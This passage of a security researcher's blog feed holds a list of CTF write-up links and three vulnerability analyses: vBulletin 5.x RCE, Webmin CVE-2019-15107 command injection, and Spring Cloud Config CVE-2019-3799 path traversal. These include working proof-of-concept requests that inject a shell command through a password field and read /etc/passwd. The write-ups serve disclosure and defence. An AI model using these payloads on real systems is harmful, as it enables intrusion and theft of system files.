<li><a href="https://chybeta.github.io/2017/08/06/SHACTF-2017-Web-writeup/">SHACTF-2017-Web-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/30/BugsBunnyCTF2017-web-writeup/">BugsBunnyCTF2017-web-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/24/%E5%AE%9E%E9%AA%8C%E5%90%A7-web-writeup/">实验吧-web-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/19/CTFZone-2017-Leaked-messages-writeup/">CTFZone-2017-Leaked messages-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/16/XMAN%E9%80%89%E6%8B%94%E8%B5%9B-2017-web-writeup/">XMAN选拔赛-2017-web-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/07/16/Meenpwn-2017-web-writeup/">Meenpwn-2017-web-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/07/15/%E4%B8%80%E9%81%93%E5%A5%BD%E7%8E%A9%E7%9A%84webshell%E9%A2%98/">一道好玩的webshell题 </a></li>
<li><a href="https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/">jarvisoj-web-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/06/30/%C2%96ringzer0team-js-writeup/">ringzer0team-js-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/06/30/%C2%96ringzer0team-web-writeup/">ringzer0team-web-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/06/25/xss-quiz-writeup/">xss-quiz-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/06/19/GCTF-web-writeup/">GCTF-web-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/06/18/%E2%80%9C%E6%98%A5%E7%A7%8B%E6%9D%AF%E2%80%9Dweb-writeup/">“春秋杯”web-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/01/12/%E5%8D%97%E9%82%AECTF%E5%B9%B3%E5%8F%B0web%E5%89%8D30%E9%A2%98%E8%A7%A3/">南邮CTF平台web前30题解</a></li>
</ul>
<h3 id="sqli-lab"><a href="#sqli-lab" class="headerlink" title="sqli-lab"></a>sqli-lab</h3><ul>
<li><a href="https://chybeta.github.io/2017/08/23/Sqli-Labs-Less17-writeup/">Sqli-Labs:Less17-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/08/23/Sqli-Labs-Less15-16-writeup/">Sqli-Labs:Less15~16-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/08/23/Sqli-Labs-Less13-14-writeup/">Sqli-Labs:Less13~14-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/08/23/Sqli-Labs-Less11-12-writeup/">Sqli-Labs:Less11~12-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/08/23/Sqli-Labs-Less8-10-writeup/">Sqli-Labs:Less8~10-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/12/Sqli-Labs-Less7-writeup/">Sqli-Labs:Less7-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/12/Sqli-Labs-Less5-6-writeup/">Sqli-Labs:Less5-6-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/04/02/Sqli-Labs-Less1-4-writeup/">Sqli-Labs:Less1-4-writeup</a></li>
</ul>
<h2 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h2><h3 id="CTF-1"><a href="#CTF-1" class="headerlink" title="CTF"></a>CTF</h3><ul>
<li><a href="https://chybeta.github.io/2017/09/09/TWCTF-2017-swap-writeup/">TWCTF 2017-swap-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/08/12/Codegate-2017-Qual-babypwn-writeup/">Codegate 2017 Qual-babypwn-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/30/BugsBunnyCTF2017-pwn-writeup/">BugsBunnyCTF2017-pwn-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/16/XMAN%E9%80%89%E6%8B%94%E8%B5%9B-2017-pwn-writeup/">XMAN选拔赛-2017-pwn-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/06/29/XMAN-pwn-writeup/">XMAN-pwn-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/06/28/SUCTF-2016-pwn400-writeup/">SUCTF-2016-pwn400-writeup</a></li>
</ul>
<h3 id="pwnable-kr"><a href="#pwnable-kr" class="headerlink" title="pwnable.kr"></a>pwnable.kr</h3><ul>
<li><a href="https://chybeta.github.io/2017/08/01/Pwnable-kr-shellshock/">Pwnable.kr:shellshock</a></li>
<li><a href="https://chybeta.github.io/2017/08/01/Pwnable-kr-mistake/">Pwnable.kr:mistake</a></li>
<li><a href="https://chybeta.github.io/2017/06/18/%E2%80%9C%E6%98%A5%E7%A7%8B%E6%9D%AF%E2%80%9Dweb-writeup/">Pwnable.kr:random </a></li>
<li><a href="https://chybeta.github.io/2017/04/08/Pwnable-kr-passcode/">Pwnable.kr:passcode</a></li>
<li><a href="https://chybeta.github.io/2017/04/07/Pwnable-kr-bof/">Pwnable.kr:bof</a></li>
</ul>
<h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><ul>
<li><a href="https://chybeta.github.io/2017/10/07/CSAW-CTF-2017-MISC-writeup/">CSAW CTF 2017-MISC-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/09/11/ASISCTF2017-ASIS-secret-letter-writeup/">ASISCTF2017-ASIS secret letter-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/08/30/Hackit2017-Cypherpunk%E2%80%99s-nightmare-writeup/">Hackit2017-Cypherpunk’s nightmare-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/08/30/Hackit2017-USB-ducker-writeup/">Hackit2017-USB ducker-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/08/28/ISG2017-%E8%B5%9B%E5%89%8D%E7%BB%83%E6%89%8B%E9%A2%98%E2%80%94writeup/">ISG2017-赛前练手题—writeup </a></li>
<li><a href="https://chybeta.github.io/2017/08/27/HackCon2017-Steg-writeup/">HackCon2017-Steg-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/08/06/SHACTF-2017-Growing-Up-writeup/">SHACTF-2017-Growing Up-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/08/06/SHACTF-2017-WannaFly-writeup/">SHACTF-2017-WannaFly-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/30/BugsBunnyCTF2017-misc-writeup/">BugsBunnyCTF2017-misc-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/23/0ctf-2015-Peers-writeup/">0ctf-2015-Peers-writeup</a></li>
<li><a href="https://chybeta.github.io/2017/07/17/XMAN%E9%80%89%E6%8B%94%E8%B5%9B-2017-misc-writeup/">XMAN选拔赛-2017-misc-writeup</a></li>
</ul>
<h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><ul>
<li><a href="https://chybeta.github.io/2017/09/12/ASISCTF2017-Simple-Crypto-writeup/">ASISCTF2017-Simple Crypto-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/07/30/BugsBunnyCTF2017-crypto-writeup/">BugsBunnyCTF2017-crypto-writeup</a></li>
<li><a href="Meenpwn-2017-crypto-writeup">Meenpwn-2017-crypto-writeup</a></li>
</ul>
<h2 id="Re"><a href="#Re" class="headerlink" title="Re"></a>Re</h2><ul>
<li><a href="https://chybeta.github.io/2017/09/02/TWCTF-2017-Rev-Rev-Rev-writeup/">TWCTF 2017-Rev Rev Rev-writeup </a></li>
<li><a href="https://chybeta.github.io/2017/07/30/BugsBunnyCTF2017-Reverse-writeup/">BugsBunnyCTF2017-Reverse-writeup</a></li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;一些自己写的文章。&lt;br&gt;
    
    </summary>
    
      <category term="随笔" scheme="http://chybeta.github.io/categories/%E9%9A%8F%E7%AC%94/"/>
    
    
      <category term="web" scheme="http://chybeta.github.io/tags/web/"/>
    
      <category term="pwn" scheme="http://chybeta.github.io/tags/pwn/"/>
    
  </entry>
  
  <entry>
    <title>《蓝队视角下的防御体系突破》.xmind</title>
    <link href="http://chybeta.github.io/2021/08/30/%E3%80%8A%E8%93%9D%E9%98%9F%E8%A7%86%E8%A7%92%E4%B8%8B%E7%9A%84%E9%98%B2%E5%BE%A1%E4%BD%93%E7%B3%BB%E7%AA%81%E7%A0%B4%E3%80%8B-xmind/"/>
    <id>http://chybeta.github.io/2021/08/30/《蓝队视角下的防御体系突破》-xmind/</id>
    <published>2021-08-30T14:30:36.000Z</published>
    <updated>2021-08-30T14:36:57.111Z</updated>
    
    <content type="html"><![CDATA[<p>拜读一下奇安信的《蓝队视角下的防御体系突破》，简单做个笔记。</p>
<p><img src="蓝队视角下的防御体系突破.png" alt="蓝队视角下的防御体系突破.png"></p>
<p>XMind: <a href="蓝队视角下的防御体系突破.xmind">蓝队视角下的防御体系突破.xmind</a></p>
<p>PDF: <a href="蓝队视角下的防御体系突破.pdf">蓝队视角下的防御体系突破.PDF</a></p>
<p>侵删。</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;拜读一下奇安信的《蓝队视角下的防御体系突破》，简单做个笔记。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;蓝队视角下的防御体系突破.png&quot; alt=&quot;蓝队视角下的防御体系突破.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;XMind: &lt;a href=&quot;蓝队视角下的防御体系突破.xmind&quot;&gt;蓝队视角
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="渗透测试" scheme="http://chybeta.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
      <category term="读书笔记" scheme="http://chybeta.github.io/tags/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
    
  </entry>
  
  <entry>
    <title>【CVE-2019-16759】:pre-auth RCE in vBulletin 5.x</title>
    <link href="http://chybeta.github.io/2019/09/28/%E3%80%90CVE-2019-16759%E3%80%91-pre-auth-RCE-in-vBulletin-5-x/"/>
    <id>http://chybeta.github.io/2019/09/28/【CVE-2019-16759】-pre-auth-RCE-in-vBulletin-5-x/</id>
    <published>2019-09-28T00:21:34.000Z</published>
    <updated>2019-09-28T00:39:12.881Z</updated>
    
    <content type="html"><![CDATA[<p>pre-auth RCE in vBulletin 5.x .</p>
<p><a href="https://twitter.com/chybeta/status/1176702424045772800" target="_blank" rel="external">https://twitter.com/chybeta/status/1176702424045772800</a></p>
<p>中文： <a href="https://xz.aliyun.com/t/6419" target="_blank" rel="external">https://xz.aliyun.com/t/6419</a><br><a id="more"></a></p>
<h1 id="0x01-Summary"><a href="#0x01-Summary" class="headerlink" title="0x01 Summary"></a>0x01 Summary</h1><p><a href="https://seclists.org/fulldisclosure/2019/Sep/31" target="_blank" rel="external">https://seclists.org/fulldisclosure/2019/Sep/31</a></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190925110357-1da1b282-df41-1.png" alt="image.png"></p>
<h1 id="0x02-Analysis"><a href="#0x02-Analysis" class="headerlink" title="0x02 Analysis"></a>0x02 Analysis</h1><p>The first parameter <code>routestring</code> tell what template should vBulletin look for.</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190925112141-97aec176-df43-1.png" alt="image.png"></p>
<p>In the <code>callRender()</code>，<code>$routeInfo[2]</code> will be set as <code>widget_php</code> and <code>$params</code> will contains the render config <code>$widgetCongi[code]</code></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190925112241-bb67ba3c-df43-1.png" alt="image.png"></p>
<p>In     <code>\core\install\vbulletin-style.xml</code>，we can fidn a template named <code>widget_php</code> </p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190925110854-cec45f9c-df41-1.png" alt="image.png"></p>
<p>So when <code>$widgetConfig[&#39;code&#39;]</code> is not null and the setting <code>disable_php_rendering</code>  isn’t disabled, vBulletin will use the following syntax to render template：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">&#123;vb:action evaledPHP, bbcode, evalCode, &#123;vb:raw widgetConfig.code&#125;&#125;</div><div class="line">&#123;vb:raw $evaledPHP&#125;</div></pre></td></tr></table></figure></p>
<p>In <code>includes\vb5\frontend\controller\bbcode.php</code> , you can find how <code>evalCode</code> defined：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190925111054-1602d960-df42-1.png" alt="image.png"></p>
<p>Finally cause PHP-Template injection and pre-auth RCE in vBulletin 5.x。</p>
<h1 id="0x03-Reproduce"><a href="#0x03-Reproduce" class="headerlink" title="0x03 Reproduce"></a>0x03 Reproduce</h1><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190925124108-b1786d2c-df4e-1.png" alt="image.png"></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;pre-auth RCE in vBulletin 5.x .&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/chybeta/status/1176702424045772800&quot;&gt;https://twitter.com/chybeta/status/1176702424045772800&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;中文： &lt;a href=&quot;https://xz.aliyun.com/t/6419&quot;&gt;https://xz.aliyun.com/t/6419&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="rce" scheme="http://chybeta.github.io/tags/rce/"/>
    
      <category term="php" scheme="http://chybeta.github.io/tags/php/"/>
    
      <category term="vBulletin" scheme="http://chybeta.github.io/tags/vBulletin/"/>
    
  </entry>
  
  <entry>
    <title>【CVE-2019-15107】:RCE in Webmin &lt;= 1.920 via password-change</title>
    <link href="http://chybeta.github.io/2019/08/19/%E3%80%90CVE-2019-15107%E3%80%91-RCE-in-Webmin-1-920-via-password-change/"/>
    <id>http://chybeta.github.io/2019/08/19/【CVE-2019-15107】-RCE-in-Webmin-1-920-via-password-change/</id>
    <published>2019-08-19T12:59:42.000Z</published>
    <updated>2019-08-19T13:52:55.185Z</updated>
    
    <content type="html"><![CDATA[<p>CVE-2019-15107:RCE in Webmin &lt;= 1.920 via password-change</p>
<p>中文：<a href="https://xz.aliyun.com/t/6040" target="_blank" rel="external">https://xz.aliyun.com/t/6040</a><br><a id="more"></a></p>
<h1 id="0x01-Reproduce"><a href="#0x01-Reproduce" class="headerlink" title="0x01 Reproduce"></a>0x01 Reproduce</h1><ul>
<li>webmin 1.920</li>
<li>Ubuntu</li>
</ul>
<p>To reproduce this vulnerability, you need enable the password-change feature. </p>
<p><a href="https://ip:10000/webmin/edit_session.cgi?xnavigation=1" target="_blank" rel="external">https://ip:10000/webmin/edit_session.cgi?xnavigation=1</a> :</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235759-f35212a2-c1d0-1.jpeg" alt="1.jpg"></p>
<p>Then you can check the config and the <code>passwd_mode</code> value has been changed<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"># cat /etc/webmin/miniserv.conf</div><div class="line">...</div><div class="line">passwd_mode=2</div><div class="line">...</div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235803-f5f5e60a-c1d0-1.jpeg" alt="2.jpg"></p>
<p>You can capture post request like this:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div></pre></td><td class="code"><pre><div class="line">POST /password_change.cgi HTTP/1.1</div><div class="line">Host: yourip:10000</div><div class="line">Connection: close</div><div class="line">Content-Length: 63</div><div class="line">Cache-Control: max-age=0</div><div class="line">Origin: https://yourip:10000</div><div class="line">Upgrade-Insecure-Requests: 1</div><div class="line">Content-Type: application/x-www-form-urlencoded</div><div class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36</div><div class="line">Sec-Fetch-Mode: navigate</div><div class="line">Sec-Fetch-User: ?1</div><div class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3</div><div class="line">Sec-Fetch-Site: same-origin</div><div class="line">Referer: https://yourip:10000/session_login.cgi</div><div class="line">Accept-Encoding: gzip, deflate</div><div class="line">Accept-Language: zh-CN,zh;q=0.9</div><div class="line">Cookie: redirect=1; testing=1; sessiontest=1; sid=x</div><div class="line"></div><div class="line">user=root&amp;pam=1&amp;expired=2&amp;old=buyaoxiedaopocli&amp;new1=buyaoxiedaopocli&amp;new2=buyaoxiedaopocli</div></pre></td></tr></table></figure></p>
<p>Set the parameter <code>old</code> value as <code>|ifconfig</code> </p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235811-faee7f0a-c1d0-1.jpeg" alt="3.jpg"></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235816-fda2c2f6-c1d0-1.png" alt="4.png"></p>
<h1 id="0x02-Analysis"><a href="#0x02-Analysis" class="headerlink" title="0x02 Analysis"></a>0x02 Analysis</h1><p>In password_change.cgi ：<br><figure class="highlight perl"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># line 18 ~ line 31</span></div><div class="line"><span class="comment"># Is this a Webmin user?</span></div><div class="line"><span class="keyword">if</span> (&amp;foreign_check(<span class="string">"acl"</span>)) &#123;</div><div class="line">	&amp;foreign_require(<span class="string">"acl"</span>, <span class="string">"acl-lib.pl"</span>);</div><div class="line">	($wuser) = <span class="keyword">grep</span> &#123; $_-&gt;&#123;<span class="string">'name'</span>&#125; eq $in&#123;<span class="string">'user'</span>&#125; &#125; &amp;acl::list_users();</div><div class="line">	<span class="keyword">if</span> ($wuser-&gt;&#123;<span class="string">'pass'</span>&#125; eq <span class="string">'x'</span>) &#123;</div><div class="line">		<span class="comment"># A Webmin user, but using Unix authentication</span></div><div class="line">		$wuser = <span class="keyword">undef</span>;</div><div class="line">		&#125;</div><div class="line">	<span class="keyword">elsif</span> ($wuser-&gt;&#123;<span class="string">'pass'</span>&#125; eq <span class="string">'*LK*'</span> ||</div><div class="line">	       $wuser-&gt;&#123;<span class="string">'pass'</span>&#125; =~ <span class="regexp">/^\!/</span>) &#123;</div><div class="line">		&amp;pass_error(<span class="string">"Webmin users with locked accounts cannot change "</span>.</div><div class="line">		       	    <span class="string">"their passwords!"</span>);</div><div class="line">		&#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>The code will check whether the parameter <code>user</code> is a Webmin user. If there is a Webmin user named <code>root</code> and we set  <code>user=root</code>,then the <code>$wuser</code>‘s value will be <code>root</code>. </p>
<p>If we set <code>user=xxxx</code>，then <code>$wuser</code> will still be <code>undef</code> after <code>grep</code>。<br><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235824-023c5d22-c1d1-1.png" alt="6.png"></p>
<p>However the following is <code>$wuser-&gt;{&#39;pass&#39;}</code>，which will change <code>$wuser</code> value from <code>undef</code> to <code>{}</code></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235827-046dc978-c1d1-1.png" alt="7.png"></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235831-0687f062-c1d1-1.png" alt="5.png"></p>
<p>So whatever <code>user</code> you have provided, you will be step in the code segment to update webmin user’s password.</p>
<ul>
<li>user=root</li>
</ul>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235834-08a19cfe-c1d1-1.png" alt="8.png"></p>
<ul>
<li>user=noexists_user</li>
</ul>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235840-0bbe4ea0-c1d1-1.png" alt="9.png"></p>
<p>Now let’s check the <code>password_change.cgi</code> line 37 ~ line 40：<br><figure class="highlight perl"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> ($wuser) &#123;</div><div class="line">	<span class="comment"># Update Webmin user's password</span></div><div class="line">	$enc = &amp;acl::encrypt_password($in&#123;<span class="string">'old'</span>&#125;, $wuser-&gt;&#123;<span class="string">'pass'</span>&#125;);</div><div class="line">	$enc eq $wuser-&gt;&#123;<span class="string">'pass'</span>&#125; || &amp;pass_error($text&#123;<span class="string">'password_eold'</span>&#125;,<span class="keyword">qx</span>/$in&#123;<span class="string">'old'</span>&#125;/);</div><div class="line">	...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>The implemention of function <code>encrypt_password</code> is of no importance . You should pay attention to how Webmin handles the error message.</p>
<figure class="highlight perl"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">&amp;pass_error($text&#123;<span class="string">'password_eold'</span>&#125;,<span class="keyword">qx</span>/$in&#123;<span class="string">'old'</span>&#125;/);</div></pre></td></tr></table></figure>
<p>Webmin just put our parameter <code>old</code> in <code>qx/.../</code>！</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235845-0eb3b636-c1d1-1.png" alt="11.png"></p>
<p>And after executing system commands, Webmin will print the result:<br><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190819000223-91013adc-c1d1-1.png" alt="image.png"></p>
<p>So in conclusion there is no need to add  a <code>vertical bar (|)</code>  , we just set our parameter <code>old</code> value as <code>ifconfig</code></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190819000304-a96d08da-c1d1-1.png" alt="image.png"></p>
<p>By the way , there is an interesting issue  <a href="https://github.com/webmin/webmin/issues/947" target="_blank" rel="external">https://github.com/webmin/webmin/issues/947</a></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190818235853-13ad028c-c1d1-1.png" alt="12.png"></p>
<h1 id="0x03-Patch"><a href="#0x03-Patch" class="headerlink" title="0x03 Patch"></a>0x03 Patch</h1><p>webmin 1.930 fix this security vulnerability by removing the <code>qx()</code> backdoor：<br><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190819000707-3a55d08e-c1d2-1.png" alt="image.png"></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;CVE-2019-15107:RCE in Webmin &amp;lt;= 1.920 via password-change&lt;/p&gt;
&lt;p&gt;中文：&lt;a href=&quot;https://xz.aliyun.com/t/6040&quot;&gt;https://xz.aliyun.com/t/6040&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="rce" scheme="http://chybeta.github.io/tags/rce/"/>
    
      <category term="perl" scheme="http://chybeta.github.io/tags/perl/"/>
    
      <category term="webmin" scheme="http://chybeta.github.io/tags/webmin/"/>
    
  </entry>
  
  <entry>
    <title>【CVE-2019-3799】:Directory Traversal with spring-cloud-config-server</title>
    <link href="http://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/"/>
    <id>http://chybeta.github.io/2019/04/18/【CVE-2019-3799】-Directory-Traversal-with-spring-cloud-config-server/</id>
    <published>2019-04-18T08:04:21.000Z</published>
    <updated>2019-04-18T09:14:08.624Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://twitter.com/chybeta" target="_blank" rel="external">Twitter: chybeta</a><br><a id="more"></a></p>
<h1 id="Security-Advisory"><a href="#Security-Advisory" class="headerlink" title="Security Advisory"></a>Security Advisory</h1><p><a href="https://pivotal.io/security/cve-2019-3799" target="_blank" rel="external">https://pivotal.io/security/cve-2019-3799</a></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190417224755-c8ec71d6-611f-1.png" alt="1.png"></p>
<h1 id="Reproduce"><a href="#Reproduce" class="headerlink" title="Reproduce"></a>Reproduce</h1><p>DEMO： <a href="https://github.com/spring-cloud/spring-cloud-config#quick-start" target="_blank" rel="external">https://github.com/spring-cloud/spring-cloud-config#quick-start</a></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">GET /foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd HTTP/1.1</div><div class="line">Host: localhost:8888</div></pre></td></tr></table></figure>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190417224820-d7bb29b4-611f-1.gif" alt="poc2.gif"></p>
<h1 id="Analysis"><a href="#Analysis" class="headerlink" title="Analysis"></a>Analysis</h1><p>Spring Cloud Config provides server and client-side support for externalized configuration in a distributed system. With the Config Server you have a central place to manage external properties for applications across all environments. </p>
<p>According to the <a href="https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_serving_plain_text" target="_blank" rel="external">DOC</a>，The Config Server provides these through an additional endpoint at <code>/{name}/{profile}/{label}/{path}</code> where <code>name</code>, <code>profile</code> and <code>label</code> have the same meaning as the regular environment endpoint, but <code>path</code> is a file name (e.g. log.xml)。<br>For example if we want get <a href="https://github.com/spring-cloud-samples/config-repo/blob/master/test.json" target="_blank" rel="external"><code>test.json</code></a> as plain text,  you can send this request：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">GET http://127.0.0.1:8888/foo/label/master/test.json</div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190417224828-dc743d10-611f-1.png" alt="4.png"></p>
<p>So how the backend handle this request? When we send the payload, <code>server</code> will dispatcher the request to  <code>org/springframework/cloud/config/server/resource/ResourceController.java:54</code>：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190417224833-dfb766c8-611f-1.png" alt="5.png"></p>
<p>Step into <code>retrieve</code> function which located in<code>org/springframework/cloud/config/server/resource/ResourceController.java:104</code> ：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">synchronized</span> String <span class="title">retrieve</span><span class="params">(ServletWebRequest request, String name, String profile,</span></span></div><div class="line">			String label, String path, <span class="keyword">boolean</span> resolvePlaceholders) <span class="keyword">throws</span> IOException &#123;</div><div class="line">		name = resolveName(name);</div><div class="line">		label = resolveLabel(label);</div><div class="line">		Resource resource = <span class="keyword">this</span>.resourceRepository.findOne(name, profile, label, path);</div><div class="line">		...</div><div class="line">	&#125;</div></pre></td></tr></table></figure></p>
<p>Continue step into the <code>findOne</code> function:</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190417224838-e2d0b1ac-611f-1.png" alt="6.png"></p>
<p>You can see the <code>locations</code> value is <code>file:/tmp/config-repo-7168113927339570935/</code>. The <code>Config-Server</code> will pull the remote repo and use the <code>locations</code> folder to store these temporary files：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190417224844-e6079124-611f-1.png" alt="7.png"></p>
<p>Notice the <code>path</code> value is <code>..%2F..%2F..%2F..%2Fetc%2fpasswd</code>，so actually the full path like this ：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190417224850-e97ab386-611f-1.png" alt="9.png"></p>
<p>at the end, when call <code>StreamUtils.copyToString(is, Charset.forName(&quot;UTF-8&quot;)</code>, we can read the <code>/etc/passwd</code> content：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190417224854-ebf9be0e-611f-1.png" alt="8.png"></p>
<h1 id="Patch"><a href="#Patch" class="headerlink" title="Patch"></a>Patch</h1><p><a href="https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2" target="_blank" rel="external">https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2</a> </p>
<p>The backend will check whether the resource paths is valid via <code>isInvalidPath</code> and <code>isInvalidEncodedPath</code>:<br>：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">if</span> (!isInvalidPath(local) &amp;&amp; !isInvalidEncodedPath(local)) &#123;</div><div class="line">	Resource file = <span class="keyword">this</span>.resourceLoader.getResource(location)</div><div class="line">			.createRelative(local);</div><div class="line">	<span class="keyword">if</span> (file.exists() &amp;&amp; file.isReadable()) &#123;</div><div class="line">		<span class="keyword">return</span> file;</div><div class="line">	&#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://twitter.com/chybeta&quot;&gt;Twitter: chybeta&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
